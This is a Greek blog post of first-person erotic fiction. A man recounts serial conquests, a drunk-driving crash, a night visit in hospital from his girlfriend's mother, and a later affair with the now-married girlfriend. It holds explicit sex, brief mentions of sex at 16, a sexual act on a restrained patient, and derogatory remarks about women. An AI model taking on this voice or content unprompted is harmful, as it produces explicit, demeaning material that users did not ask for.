anwnymous

Οκτώβριος 31, 2007

Η πίπα της ειρήνης.

Filed under: Uncategorized — thelastrealanwnymous @ 12 :01 μμ

             Στα 16 μου πήδηξα την κόρη του λυκειάρχη. Μεγαλύτερή μου αλλά με γούσταρε πολύ . Το ίδιο καλοκαίρι πήδηξα την ξαδέρφη της που ήρθε από την Αμερική. Τη Φαίη. Ήταν πιο άνετη. Όποτε ήθελε μου το ζητούσε αμέσως. «Τόνιιι , πλιζ …αϊ γουόντ γιου ,   αϊ λάικ  του κις γιορ μποντι … πλιιιιιζ  Τόνι.»

            

             Το χειμώνα δεν προλάβαινα πλέον. Πήδηξα μια συμμαθήτρια μου στα αγγλικά . Μετά , την κόρη ενός φίλου του πατέρα μου. Έμειναν μια μέρα πηγαίνοντας για Ιταλία και καταφέραμε να βρούμε μια ολόκληρη ώρα για να το κάνουμε.

              Μετά πήδηξα δύο αδερφές που με γούσταραν και οι δύο. Τα κορίτσια με βρίσκουν πολύ σέξι. Εγώ; Απλά είμαι ο εαυτός μου.

              Μέχρι τα 18 έκανα σεξ με πολλές . Τα καλοκαίρια γύριζα συχνά με άλλο κορίτσι τα βράδια. Και τότε , ξαφνικά …γνώρισα τη Νάντια.

               Πέρασε μία βδομάδα και ήμουν ακόμα μαζί της. Παράξενο σκέφτηκα. Κάτι έπαθε έλεγαν οι γονείς μου. «Κόλλησε» είπαν οι κολλητοί μου. Εγώ εκεί. Νάντια και πάλι Νάντια . Ερχόταν σπίτι . Πήγαινα στο δικό της. Τη γνώρισαν οι γονείς μου . Γνώρισα τους δικούς της. Ο πατέρας της δεν με πάει με τίποτε. Ούτε εγώ τον πάω.

               Δεν είχα ακόμη το ΤΤ τότε. Είχα ένα εντούρο . Πηγαίναμε παραλία , βγαίναμε τα βράδια , κάναμε σεξ στην αμμουδιά. Γυρνούσαμε μεθυσμένοι . Κοιμόμαστε σπίτι μου , γιατί στο δικό της ο κέρβερος ο πατέρας της άρχιζε τη γκρίνια. Τον φτύνω. Τον έχω γραμμένο. Θέλω μόνο τη Νάντια και τίποτε άλλο.

              Δεν μου είχε ξανασυμβεί αυτό. Ξυπνάμε και κοιμόμαστε μαζί . Φοράει τα ρούχα μου και εγώ τα εσώρουχά της (κάντο όπως ο Μπέκαμ) . Το κάνουμε στο κρεβάτι και αν βρεθούμε στο πάτωμα μπορεί να μας πάρει ο ύπνος εκεί. Γράφω με το μαρκαδόρο λέξεις στο σουτιέν της και εκείνη στα μπόξερ μου. Κάνουμε μαζί ένα τατουάζ που συνεχίζεται στα δύο κορμιά όταν αγκαλιαστούμε. Έχω γνωρίσει πολλά κορίτσια , όμως αυτό που συμβαίνει με τη Νάντια δεν θα τελειώσει ποτέ.

             Κι αν χωρίσουμε κάποτε μου λέει πως θα είναι; Θα παίρνω τον άντρα σου στη δουλειά και θα τον βρίζω . Θα έρχομαι κάτω από το σπίτι σας και θα του κατουράω το αυτοκίνητο. Θα του ξεφουσκώνω τα λάστιχα. Να ,κάτι τέτοια της λέω. Και εγώ μου λέει θα ανεβαίνω στη ταράτσα και θα γράφω βρωμόλογα στα εσώρουχα της γυναίκας σου. Θα είναι μία χοντρή και άσχημη και θα με σκέφτεσαι και θα κλαις.

             Θα είναι τόσο άσχημη που δεν θα μπορείς να την πηδήξεις . Θα έχει μια φωνή σαν φώκια. Θα κάνετε δύο χοντρά παιδιά κι αυτή θα μαγειρεύει συνέχεια και θα τα μπουκώνει φαγητό. Δεν θα έχουμε ρούχα στη ταράτσα γιατί θα της πάρω στεγνωτήριο. Λέω. Θα είναι τόσο χοντρή που το αυτοκίνητό σου θα γέρνει προς το μέρος της μου λέει. Ο άντρας σου θα κλάνει . Λέω. Και σένα η δικιά σου θα ρεύεται. Μου λέει. Θα μυρίζουν τα πόδια του , πάλι εγώ . Και αυτηνής ο κώλος της. Και βάζει το χέρι στο στόμα για να κάνει ένα  ππρρρρούτσσσςς.                

              Όμως … ένα βράδυ , έγινε αυτό που φοβόταν όλοι εκτός από μας. Τρακάραμε μεθυσμένοι. Η Νάντια χτύπησε στο μέτωπο και στο γόνατο. Εγώ έπαθα κάτι σοβαρό στη σπονδυλική στήλη. Με χειρούργησαν. Θα μείνω τρεις μήνες ακίνητος στο κρεβάτι για να κολλήσουν οι σπόνδυλοι στη σωστή θέση.  Η Νάντια βγήκε σε δύο βδομάδες. Το γόνατο στο γύψο , πατερίτσες και μόλις σηκώθηκε ήρθε αμέσως να με δει. Τα πήρε ο πατέρας της και την επόμενη μέρα ήρθε κι αυτός  στο θάλαμο μου. Εγώ ανάσκελα με καθετήρα στο πουλί , πριν μισή ώρα η αποκλειστική νοσοκόμα μου έβαλε μια πάπια να ….ξέρετε …και μετά με σκούπισε και με έπλυνε με ένα βρεγμένο πανί.

                 Αν την ξανασυναντήσεις ορκίζομαι να σου βγάλω τους ορούς και να σε αφήσω να πεθάνεις. Τον κοίταζα . Τι άλλο να κάνω ; Μόνο κοίταζα. Μη με κοιτάς εμένα έτσι , θα στο κόψω αυτό το ειρωνικό το γελάκι. Ποιο ειρωνικό ; αυτός ξέρει. Τώρα εδώ που είμαι δεν είμαι απλώς ακίνητος  είμαι ακινητοποιημένος . Οι γιατροί μου έχουν δέσει τα χέρια και τα πόδια στα κάγκελα του κρεβατιού για να αποφύγουν κάθε πιθανότητα να κινηθώ. Αν έρθει ξανά εδώ η κόρη μου να της πεις ότι χωρίζετε. Καλά τώρα σ’ ακούσαμε . Ναι φίλε μου , ότι πεις , θα  χωρίσω .                   

               Στην αρχή πίστεψα ότι θα μείνω παράλυτος. Μετά , κάτι άρχισα να νιώθω «εκεί» κάτω. Έχω ένα μήνα στο κρεβάτι. Ένα ολόκληρο μήνα χωρίς σεξ. Οι αποκλειστικές που με πλένουν , αν «επιμείνουν» λίγο  περισσότερο μπορεί και να ανακουφιστώ. Ευτυχώς που μου έβγαλαν τον καθετήρα τις τελευταίες μέρες . Όμως είναι από τις λίγες στιγμές στη ζωή μου που δεν μπορώ να διαχειριστώ το πουλί μου. Ειδικά τον τελευταίο καιρό ,που  είναι και ο μοναδικός μου φίλος ,που μου κρατάει αναγκαστικά παρέα , νιώθω πολύ άσχημα να μη μπορώ να τον «βοηθήσω». Του μιλάω , του λέω να κάνει υπομονή , θα σηκωθώ σύντομα και θα αρχίσουμε πάλι το σαφάρι κοριτσιών. Όμως είναι ανυπόμονος. Όπως είμαι γυμνός κάτω από το τεντωμένο σεντόνι και μπορεί να έχουν έρθει οι γονείς μου και να μιλάνε με τον ορθοπεδικό που με χειρούργησε τότε μπορεί να σηκωθεί σαν περισκόπιο προσπαθώντας να έχει εικόνα για το  τι γίνεται έξω από το σεντόνι.

                Μια μέρα ο γιατρός σηκώνει το σεντόνι για να ενημερώσει τους γονείς μου για την πορεία της επέμβασης και τι να δει. Ένα «εμπάιρ» λίγο πιο κει από την τομή να υψώνεται αγέρωχο προς τον ουρανό. Κατεβάζει το σεντόνι σαν να μη συμβαίνει τίποτε και συνεχίζει την επιστημονική ανάλυση του προβλήματος .

                 Εγώ όμως υποφέρω. Τι είναι ρε παιδιά; Τίποτε δεν είναι .Τόσες νοσοκόμες,  τόσες αποκλειστικές δεν μπορούν να το καταλάβουν ; Με δυο κινήσεις πάνω κάτω και όλα οκ . Είναι τόσο απλό.

                  Δεν έρχεται και η Νάντια. Δεν την αφήνουν οι δικοί της. Δεν θα σηκωθώ όμως ; Θα σηκωθώ.  Και τότε θα την πιάσω και … ένα σαββατοκύριακο θα το κάνουμε συνεχώς. Θα το κάνουμε , θα σηκωνόμαστε να τρώμε , θα πίνουμε καφέ και μετά πάλι στο κρεβάτι. Έγκυο θα την αφήσω. Δίδυμα θα της κάνω . Μόνο να σηκωθώ και μετά δεν με κρατάει τίποτε.

                  Μια μέρα η Νάντια το σκάει από τους δικούς της και έρχεται να με δει. Πετάω από τη χαρά μου. Δεν θέλω να μου την «παί.ει». Θα θελα μια πιπούλα. Μια τόση δα τρυφερή και απαλή πιπούλα. Δηλαδή δεν θα προλάβει να κάνει και πολλά πράγματα , με το που θα με ακουμπήσει η γλωσσίτσα της θα πλημμυρίσω το νοσοκομείο με το καταπιεσμένο σπέρμα μου.

                  Έρχεται στο κεφάλι μου , με φιλάει με χαϊδεύει , μου πιάνει τα μαλλιά. Νάντια πόσο θα θελα να σε πηδήξω αυτή τη στιγμή. Λύσε μου το ένα χέρι να πιάσω λίγο τον κ..ο σου . Κάτι τέτοια σκέφτομαι τώρα .

                   «Το ‘σκασα για να σε δω» μου λέει. «Είχα αρχίσει να ανησυχώ» είπα. Δεν μπορώ να σκεφτώ τίποτε άλλο τώρα , μόνο το σεξ. Θέλω να κρυφτούμε κάτω από το κρεβάτι και να το κάνουμε. Τι βασανιστήριο κι αυτό. Λοιπόν θα της πω να έρθει κάποια στιγμή που δεν έχει κόσμο εδώ  ναααα … δηλαδή για την ακρίβεια χρειάζομαι επειγόντως μια πίπα.

                    «Θέλω να σου πω κάτι…» της λέω συνωμοτικά. Πλησιάζει το αυτί της και εκείνη τη στιγμή ανοίγει η πόρτα και μπαίνουν οι γονείς της αναστατωμένοι. «Εδώ είσαι; Γιατί κλείνεις το κινητό; Δεν σου είπαμε να μη ξαναπατήσεις εδώ το πόδι σου; Αυτός ο άνθρωπος είναι επικίνδυνος για σένα.»

                    Να μη μπορώ τώρα να σηκωθώ και να ρίξω μερικές γροθιές στον πατέρα της. Η Νάντια βάζει τα κλάματα . «Είναι άχρηστος …» λέει ο πατέρας της. «Όταν βγει από δω δεν θα μπορεί ούτε να περπατήσει …» και το λέει «κάπως» με ένα ειρωνικό χαμογελάκι σαν να εννοεί ότι δεν θα μπορεί να πηδήξει. Και η Νάντια κλαίει , κλαίει γοερά το μωρό μου , εδώ δίπλα στο μαξιλάρι μου , κι αυτός ο άκαρδος συνεχίζει να της λέει ,ότι θα μπορούσα να την έχω σκοτώσει και είμαι απερίσκεπτος και επικίνδυνος. Την πλησιάζουν και οι δύο και την πιάνουν μαλακά από τους ώμους για την πάρουν μαζί τους μακριά μου.

                  «Νάντια , Νάντια φωνάζω με όση δύναμη μου απομένει , θέλω να σου πω…» και σκύβει πάνω μου για να της πω ψιθυριστά το ένοχο μυστικό μου , αυτή τη βρώμικη σκέψη που τυραννάει το μυαλό μου , να εκλιπαρήσω για μία πίπα , μια τελευταία πίπα πριν αυτοί οι ημιάγριοι την πάρουν μακριά μου. Κολλάει το αυτάκι της στο στόμα μου και λέω ψιθυριστά : « Μία πιπούλα , δεν αντέχω άλλο …έχουν γεμίσει τα μπαλάκια μου σπέρμα , μια πιπούλα ,όποτε μπορείς , όποια ώρα είναι εύκολο , θα εκραγούν οι αδένες μου …και θα απελευθερωθούν τα σπερματοζωάρια μου και θα επιτεθούν στις νοσοκόμες , στις γιατρίνες , σε όλες τις γυναίκες που βρίσκονται στο κτίριο και δεν θα γλιτώσει καμία.»

                   Σκάει ένα πονηρό χαμόγελο με φιλάει και πάνε να φύγουν. «Πες μας τι σου είπε , πες μας» ωρύεται ο πατέρας της. «Πες μας τώρα …» η Νάντια δεν απαντάει κι αυτός με κοιτάζει και λέει «Φονιά , φονιά , δεν θα την ξαναδείς , σου υπόσχομαι να μη την ξαναδείς»

                    Φεύγουν.

Δεν ξέρω τι ελπίδες έχω μετά από όλα αυτά. Τι να κάνω; Να δοκιμάσω να κάνω καμάκι σε καμία από αυτές που με περιποιούνται. Ρε γαμώτο , τώρα όταν η άλλη σε πλένει μετά από σκ..α ,ξέρετε τι εννοώ , πώς να σε σκεφτεί σεξουαλικά όταν το πρώτο πράγμα που γνωρίζει σε σένα είναι τα σκ…. . Μπαααα ….πήρε άσχημη τροπή αυτή η σκέψη.

                     Σε ποιόν να το πω ; στους γονείς μου ; στους κολλητούς; Τώρα τελευταίως τους είχα κι αυτούς λίγο γραμμένους λόγω Νάντιας. Κι αν μου φέρουν εδώ καμία σκύλα , καμία λυσσασμένη πόρνη με μεγάλα βυ..α και κάτι χειλάρες έτοιμες να με αρπάξουν ; Κι αν ξενερώσω και δεν ανταποκριθώ. Και μετά αν καθίσει καμία ώρα εδώ αυτή να με «μεταπείσει»; Ρε γαμώτο , πληρωμένο σεξ εγώ; Δεν γίνονται αυτά. Πρώτος και καλύτερος θα με προδώσει «αυτός». Άντε μετά  να μπορέσω «του»  δώσω το ο.κ.  να σηκωθεί για να τελειώνουμε.  

                   Βράδιασε. Κάθομαι στο σκοτάδι και σκέφτομαι. Δεν μπορώ να κοιμηθώ. Είμαι πιασμένος παντού. Όλο μου το σώμα είναι άκαμπτο από την ακινησία Ακούω κάτι τώρα. Μια σκιά γλιστράει στο δωμάτιο. Μπορεί να έχω και παραισθήσεις . Γυναικεία φιγούρα δείχνει. Πλησιάζει στο κρεβάτι μου. Κάνω ότι κοιμάμαι. Ανασηκώνει το σεντόνι. Δεν αναπνέω. Τα χείλη της με αγγίζουν….

                    Όταν ήμουν έφηβος , δηλαδή για την ακρίβεια κάπου εκεί στα 12 όταν για πρώτη φορά ένιωσα ότι ερωτεύτηκα κάποια (ας μη δώσω περισσότερα στοιχεία εδώ…) είχα αυτό το φτερούγισμα στο στομάχι , έπιανα τον εαυτό μου να μου κόβεται η αναπνοή όταν την πλησίαζα . Πήγαινα σπίτι της και μετρούσα το ανέβασμα του ασανσέρ με τους χτύπους της καρδιάς. Μετά μεγαλώνοντας , τα κορίτσια με λάτρευαν. Πέρασα πολλές νύχτες με φιλιά και εξομολογήσεις και  σεξ . Όμως πάντα  είχε την πρωτοβουλία «ο φίλος μου» . Έκανα σεξ «με το σπαθί μου» . Ποτέ δεν κατάφερα να έχω τόσο δυνατά συναισθήματα όσο τότε.   

                     Τώρα ,  αυτό το βράδυ , ξαπλωμένος στο κρεβάτι του νοσοκομείου , ίσως περισσότερο μόνος από κάθε άλλη φορά, χωρίς καμία ελπίδα από πουθενά να λυθεί το «πρόβλημά μου» , αυτό το βράδυ , που ούτε να φιλήσω μπορώ , ούτε να χαϊδέψω , ούτε να δω , ούτε να ακούσω τον ψίθυρο , την αναπνοή της γυναίκας , αυτό το βράδυ , εκείνα τα φτερουγίσματα στο στομάχι , εκείνα τα καρδιοχτύπια ξανάρθαν.

                     Είμαι ξαπλωμένος , ανασαίνω βαριά , το …( πώς να το πω τώρα; Εννοώ αυτό το αόρατο πράγμα που πάλλεται στα σπλάχνα σου όταν πονάς , όταν θυμώνεις , όταν γνωρίζεις καινούρια γυναίκα , όταν έρχεσαι σε οργασμό … ) αυτή η πεταλούδα με την ανεξέλεγκτη κίνηση , «τραβάει» τα κρυμμένα συναισθήματα της πρώτης φοράς στην επιφάνεια και είναι ακριβώς όπως τότε. (τελικά «πεταλούδα» το είπα )

                     Θέλω να γνωρίσω αυτή τη «σκιά» που με λύτρωσε. Όταν όλα τελειώνουν ανασηκώνεται και κάνει μια κίνηση προς την πόρτα. ‘Όχι , μη , μη φεύγεις σε παρακαλώ. Φωνάζω σαν μέσα σε όνειρο. Έχω ερωτευτεί αυτή τη σκιά , έχω τρελαθεί , έχω ξεχάσει και τη Νάντια , θέλω «αυτά τα χείλη» για πάντα δικά μου. 

                  Στέκεται για λίγο ,με κοιτάζει και τελικά πλησιάζει στο μαξιλάρι μου. Έρχεται πολύ κοντά και ψιθυρίζει ότι ξέρει τον πόνο μου , της το είπε η ίδια η Νάντια και όσο μιλάει , τόσο πονάω και θέλω να κλάψω γιατί είναι …η μητέρα της.  (…η καλύτερη μου πίπα μέχρι τότε , για όσους ασχολούνται με στατιστικά )

                  Θα ήθελε πολύ να μη ξαναδώ την κόρη της . Με παρακαλεί θερμά να μη ψάξω ποτέ να τη βρω. Θα φύγει για σπουδές έξω και όλα θα είναι πιο εύκολα . (μη περιμένετε ερωτήσεις του τύπου «τι θα γίνει με μας όμως;» ) 

                   Δεν με ξαναενόχλησαν. Ειδικά ο τρελαμένος ο πατέρας της. Άλλωστε στο θέμα  της ειρήνης δόθηκε αυτή η «ινδιάνικη» λύση .  Τελικά οι γυναίκες είναι πολύ καλές στην εξωτερική πολιτική. Ξέρουν να σβήνουν φωτιές πριν ακόμα εκδηλωθούν.

                   Βγήκα από το νοσοκομείο κάποτε. Έψαξα τη Νάντια. Είχα συνηθίσει τόσο πολύ μαζί της που δεν αισθανόμουν ότι «σπάω» εγώ πρώτος τη «συμφωνία» . Δεν με νοιάζουν οι συμφωνίες. Θέλω τη Νάντια.

                   Δεν τη βρήκα. Από το σπίτι μετακόμισαν. Στη δουλειά του ντάντι της έμαθα πως ζήτησε πριν λίγες μέρες ετήσια άδεια χωρίς αποδοχές . Τη μητέρα της δεν την ξαναείδα.

                    Μπήκα στη ρουτίνα. Πρώτα πήδηξα μια νοσοκόμα που είχα το κινητό της. Η καλύτερη από τις αποκλειστικές. Μετά μια φίλη της. Στο καφέ που νομίζω πως έχει τον καλύτερο εσπρέσο πήδηξα μια γκαρσόνα με χαμηλοκάβαλο τζιν ως το … ξέρετε τώρα να μη επιμείνω σε περιγραφές. Μια μέρα βρήκα μια συμμαθήτρια από το κολέγιο. Είχε χοντρό κόλλημα μαζί μου και της την έδινε η Νάντια. Με πήδηξε πριν προλάβω να το σκεφτώ. Πήρε σύνταξη ο ταχυδρόμος που πηγαίνει στο γραφείο του ντάντι και τον αντικατέστησε μια νέα κοπέλα . Όταν υπέγραψα το πρώτο συστημένο , μου έδωσε το κινητό της. Μετά μου άρεσε μια κοκκινομάλλα στο τένις. Όταν παντρεύτηκε ο αδερφός μου , ένα κορίτσι στο ντιζάιν προσκλητηρίων μου έδειξε πως τα σχεδιάζει στον υπολογιστή. Ένα πρωί με βλάβη στο αμάξι , η ταξιτζού που με πήγε στο γραφείο με πίεσε να βρεθούμε το βράδυ. Πήγα να αγοράσω πουκάμισο και γραβάτα για το γάμο και η πωλήτρια με στρίμωξε στο δοκιμαστήριο. Πήγα να δω τη μητέρα ενός πελάτη μας στο νοσοκομείο και γνώρισα την κόρη του.

                  Δεν μπορείτε να πείτε , έχω βελτιωθεί κάπως. Έμαθα να χρησιμοποιώ άλλα ρήματα , δεν ξαναείπα «πήδηξα , πηδάω , πηδιόμαστε…»  

                     Πέρασαν χρόνια . Σήμερα βλέπω τις γυναίκες όχι σαν κλώνους της Νάντιας αλλά σαν «εκπλήξεις»  που ανάλογα με το ρίσκο και την υπομονή σου μπορείς να «δρέψεις» χαρά , να κερδίσεις «μπόνους» σε ένα περιβάλλον αγάμητων , να ζήσεις ακραία όταν το επιδιώξεις. Δεν μ’ αρέσει να τις περιγράφω ομαδικά : οι γυναίκες είναι ύπνοι, οι γυναίκες είναι θύματα της εμφάνισης , οι γυναίκες είναι έντομα που ζουν σε μια πληγή , στην πληγή του έρωτα. Θεωρώ κάθε περίπτωση ξεχωριστή και απρόβλεπτη.

                  Φθάσαμε στο σήμερα.   Μια μέρα … συνάντησα τη Νάντια στο δρόμο. Έπεσα πάνω της. Θεέ μου , τι τυχερός που είμαι . Έχουν περάσει μερικά χρόνια όμως. Νάντια ! Μωρό μου. Τόσο καιρό χωρίς εσένα. Νάντια! Την έσφιξα πάνω μου. Αντιστάθηκε για λίγα δευτερόλεπτα. Με αναγνώρισε . Χαλάρωσε. Μετά με έσφιξε και κείνη. Ένα φιλί που δεν φαινόταν να τελειώνει και θα καθυστερούσε περισσότερο … αν η μνήμη μου δεν λειτουργούσε. Μα καλά τι έκανες; Έβαλες γέφυρα στα μπροστινά σου δόντια; Τη ρώτησα. Ναι αλλά δεν το καταλαβαίνει κανείς μου , είπε απορημένα. Εγώ το καταλαβαίνω με τη γλώσσα μου Νάντια.

                    Πες μου τώρα αμέσως τι άλλες αλλαγές έκανες τόσο καιρό; Ήθελε να συνεχίσει να ρουφάει τα χείλη μου και τη διέκοψα τόσο απότομα για μια γέφυρα. Πες μου Νάντια τι άλλο έκανες; Να … εεε είμαι και λίγο …παντρεμένη ξέρεις . Λίγο ; Πόσο λίγο δηλαδή; (Τι ηλίθιες ερωτήσεις κάνει ο άνθρωπος όταν έχει χάσει επαφή με το χρόνο. Γιατί εγώ εκείνη τη στιγμή ζούσα μερικά χρόνια πιο πριν.)

                 Έλα τώρα είμαι παντρεμένη και έχω και παιδί . Δεν περίμενα να σε ξαναδώ. Οι γονείς μου με έστειλαν στην Αγγλία για σπουδές. Άκουσαν ότι θα μείνεις ανάπηρος … ότι δεν θα …Μετά έπνιξε ένα λυγμό που ανέβαινε επικίνδυνα στο λαιμό της και σήκωσε το χέρι και μου έδειξε με το δάχτυλο τη μητέρα της με ένα αγοράκι στο καρότσι. Ήταν αρκετά μακριά για να διακρίνω αν μου μοιάζει το παιδί. (…ήμουν ακόμα εκεί εγώ , σε εκείνη τη μακρινή εποχή )

                  Εσύ ; με ρώτησε . Τι εγώ ; Να όπως με ξέρεις , δεν άλλαξε τίποτε. Πες μου όμως ,πως είναι ο άντρας σου; Είναι χοντρός ; Είναι μπούλης; Είναι μαμόθρεφτος; Τον ξέρω εγώ; Είναι κάποιος που τον γνωρίζαμε; Όχι . Είναι ένας συμφοιτητής μου από το πανεπιστήμιο.     

                     Θέλω το κινητό σου , λέω. Εγώ θα γράψω το δικό σου και δε θα πάρεις , θα σε πάρω εγώ μου λέει. Γυρίσαμε και κοιτάξαμε και οι δύο μαζί τη μητέρα της που δεν μπορούσε να διακρίνει με ποιον μιλούσε η κόρη της.

                     Με πήρε στο τηλέφωνο μετά από δύο μέρες. Συναντηθήκαμε και την πήρα με το αμάξι. Πήγαμε παραλία. Το κάναμε στο αυτοκίνητο. Είχε ρυθμίσει την υπενθύμιση στο κινητό. Μία ώρα και είκοσι λεπτά από τη στιγμή του ραντεβού χτύπησε. Πρέπει να φύγει. Πότε θα ξαναβρεθούμε; Θα με πάρει εκείνη. Με ξαναπήρε σε λίγες μέρες. Είμαστε κάπως αλλιώς ξέρετε . Έχουμε φορτώσει και οι δύο εμπειρίες στο σκληρό μας. Κάνει πολύ καλή πίπα , αν και θα ΄θελε να δοκιμάζαμε κανένα 69 αλλά δεν βολεύει στο αυτοκίνητο.

            «69 : η καλύτερη αντισύλληψη για τις γόνιμες μέρες» είπε.  Της το έμαθε  ένας συμφοιτητής της που μου έμοιαζε . Εγώ πάλι φιλάω κάπως αλλιώς. Ποια μου το ‘μαθε αυτό ; Δεν θυμάμαι. Όταν έχει περίοδο θέλει από …. ξέρετε τώρα , αυτή τη στάση που αν δεν… τότε δεν  θεωρείται ολοκληρωμένο κανένα πορνό φιλμ. Τέλος πάντων , λεπτομέρειες τώρα , το θέμα είναι ότι περνάμε καλά. Είναι μια κατάσταση σαν να κάνουμε το χόμπι μας.        

             Πρώτη φορά είμαι με γυναίκα και δεν σκέφτομαι ευθύνες , προοπτικές , σκοπιμότητες. Δεν υπάρχει παράλληλη σκέψη στον επεξεργαστή μου , στη «ραμ» μου τρέχει μόνο η Νάντια και τίποτε άλλο.

             Δεν με απασχολεί : «τι κάνουμε εδώ τώρα ;» Δεν απαντάω σ’ αυτή την ερώτηση. Μάλλον ενώνουμε το κομμένο νήμα. Και είναι πολύ λεπτή δουλειά σας πληροφορώ. Δεν έχω την αίσθηση της αρπαχτής . Δεν με φτιάχνει η ιδέα μερικών ασφαλών και εξασφαλισμένων πηδημάτων.  Δεν ξέρω αν απλά μου αρέσει το σεξ μαζί της ή αν βιώνω και πάλι την εφηβεία μου. Το σίγουρο είναι ότι με καμία γυναίκα δεν έχω περάσει τέτοιες στιγμές όπως με τη Νάντια τώρα.

              Είναι ας πούμε πολύ «πρωτότυπο» να ξέρεις τόσο καλά μια γυναίκα , να είσαι σίγουρος πως την αγαπάς και σ’ αγαπάει και εκείνη , να τη συναντάς τόσο απλά . Ίσως τώρα που το ξανασκέφτομαι , ίσως λέω να κάνουμε ένα τεστ , αν έχουμε αλλάξει , αν θέλουμε να ζήσουμε μαζί, αν είναι ακόμα τόσο δυνατό αυτό που νιώθαμε κάποτε.

             Αν θελήσω να μιλήσω για τον έρωτα , να πω αυτά τα ποιητικά που διαβάζω γύρω μου καθημερινά , μάλλον  θα «ξεφύγω» για λίγο , για να πω ότι είναι κάτι που το χρωστάς στο εαυτό σου. Ναι , καθένας δικαιούται μια συνάντηση με το παρελθόν. «Θέλω μια συνάντηση με τη γυναίκα που ερωτεύτηκα κάποτε» αυτό πρέπει να υπάρχει στο πίσω μέρος του μυαλού μας, γιατί είναι μια αξεπέραστη εμπειρία .  

               Όμως δεν είναι ακριβώς έτσι. Είμαστε εμείς, είμαστε μαζί , αλλά δεν είμαστε όπως πριν. Αυτό που ζούμε τώρα αρχίζει να γίνεται μια ερωτική παρωδία. Αν δεν είχαμε χαθεί θα είχαμε βαρεθεί; Ίσως. Θα χωρίζαμε κάποια στιγμή; Ή θα είχαμε δύο πιτσιρίκια και θα «τρέχαμε» όπως όλα τα ζευγάρια; Πάντως δέκα χρόνια χωρίς τη Νάντια είναι πολλά . Είμαι 28 . Σκέφτομαι ότι εμείς οι δύο αυτή τη στιγμή βιώνουμε ένα είδωλο του έρωτά μας. Υπάρχει η επιθυμία και το ανεκπλήρωτο που ζητάνε να ικανοποιηθούν. Και μετά ; και μετά τι ;

             Πώς νοιώθει η Νάντια ; Λέει ότι της αρέσει αυτό που μας συμβαίνει. Πως νοιώθω εγώ; Είναι αυτό που είπα πριν : το είδωλο. Είναι αυτό που συμβαίνει σήμερα σε όλους τους τομείς : προσπαθούν να σου πουλήσουν την πόρσε που οδηγούσε ο Τζέιμς Ντην για να νιώσεις κάπως … σαν αυτόν ας πούμε . Και εσύ τελικά το καταπίνεις και συμμετέχεις στο ψέμα. Χιλιάδες πράγματα γίνονται γύρω μας και είναι αντίγραφα προτύπων. Πας στο ξενοδοχείο που έμενε η Μαντόνα , κοιμάσαι στο κρεβάτι που κοιμόταν ο Μόρισον , τρως το πρωινό όπως ο Χέμινγουεη .

            Πως νοιώθεις Νάντια; Επιμένω . Πες μου πως με βλέπεις; Δεν ξέρω τι σκέφτεσαι , αλλά εγώ αισθάνομαι μαζί σου σαν να μη άλλαξε τίποτε μεταξύ μας λέει. Θα χωρίσεις μ’ αυτόν; Μα γιατί; δεν περνάμε καλά έτσι; Νάντια σε θέλω κατάδική μου όπως τότε. Δική σου είμαι αλλά δεν μπορώ να χωρίσω. Γιατί , γιατί Νάντια; Μα είναι και το παιδί , δεν καταλαβαίνεις , δεν μπορώ να του στερήσω τον πατέρα του. Το παιδί , το παιδί , γαμώτο το παιδί , γαμώτο μου.

           Γιατί να μη σε συναντήσω 3 χρόνια νωρίτερα; Δεν θα υπήρχε παιδί , δεν θα καταλαβαίναμε ότι χωρίσαμε για 10 ολόκληρα χρόνια. Νάντια σε θέλω , θέλω το κορμί σου , θέλω τη γλώσσα σου στο στόμα μου , θέλω τα παιχνίδια που κάναμε , θέλω να κοιμάμαι μαζί σου τα βράδια , Νάντια δεν μπορεί να κοιμάσαι μ’ αυτόν. Αυτά σκέφτομαι και θα κάνω καμία μα….α.

            Τι μ’ έχει πιάσει ρε γαμώτο; Νομίζω πως αυτό που βιώνω είναι ψεύτικο. Τόσες εμπειρίες , τόσα κορίτσια και είμαι κολλημένος εκεί . Στο μυαλό μου υπάρχει καρφωμένο «το είδωλο». Μια πλαστική Νάντια συναντάω , μια Νάντια που την αγόρασα προχθές , από πολυκατάστημα , την έφερα σπίτι μμμμμμ… όχι, όχι φίλε δεν έχει έρθει ακόμα σπίτι, στο αυτοκίνητο την έχω.

        Το ξέρω πως κάποιοι φίλοι μου θα έκαναν οτιδήποτε για να βιώσουν κάτι τέτοιο. Ιδανικές συνθήκες , μια Ναντια δική σου και ξένη , μια Νάντια για λίγο και για όλα, να λιώνει στα χέρια σου αλλά να «μη σου κολλάει» σα λιωμένο παγωτό . Όμως κάτι λείπει. Θέλω αυτό που έχασα , θέλω το εφηβικό μου «κάρμα»…  όχι , όχι  δεν θα το πω έτσι , θέλω το κορίτσι μου και όχι μια μητέρα που σκέφτεται τον σύζυγο και το παιδί της.

            Το αποφάσισα. Νάντια χωρίζουμε. Βρεθήκαμε , μια φορά ακόμη και της το είπα. Χ-ω-ρ-ί-ζ-ου-μ-ε. Έκλαψε , έκλαψε πολύ , ίσως πολύ περισσότερο και από τότε που είχαμε χαθεί. Με κοίταξε  κλαίγοντας. Με ρώτησε αν … δηλαδή αν θα μπορούσαμε ποτέ να ξαναβρεθούμε , αν θα μπορούμε να μιλάμε , να πίνουμε ένα καφέ ίσως ; όχι Νάντια , φύγε, δεν θέλω τίποτε από σένα. Μάλλον δεν έπρεπε να σε έχω συναντήσει ξανά. Φύγε Νάντια και ας πούμε ότι δεν έχουμε συναντηθεί ακόμη. Μα ένα τηλέφωνο ίσως , κάτι , μια αναπάντητη για να ξέρεις ότι σε σκέφτομαι ; Όχι , κατηγορηματικά όχι.

           Κάθομαι μερικές μέρες μόνος. Μετά; Μετά πήδηξα τη μπέιμπι σίτερ ενός φιλικού ζευγαριού. Το σαββατοκύριακο πήγα με το ντάντι για μπριτζ. Εκεί γνώρισα την κόρη ενός άλλου παίκτη που δεν μπορούσε να κρύψει την αβάσταχτη βαρεμάρα της για το μπριτζ. Δεν μπορείς να το κρύψεις της είπα. Γενικά δεν κρύβω αυτό που νιώθω είπε. Θες να μου δείξεις τα …  σου; Καταλάβατε τι. Δεν θα σου τα κρύψω , είπε. Πήγα στο τένις , πήγα για ιστιοπλοΐα , πήγα για σκι. Κάθε γυναίκα που γνωρίζω τώρα είναι κλώνος της Νάντιας. Τις μισώ. Νομίζω πως είναι ίδιες. Όλες νομίζουν την αγάπη λούτρινο αρκουδάκι σε θερμοκρασία ανθρώπου.

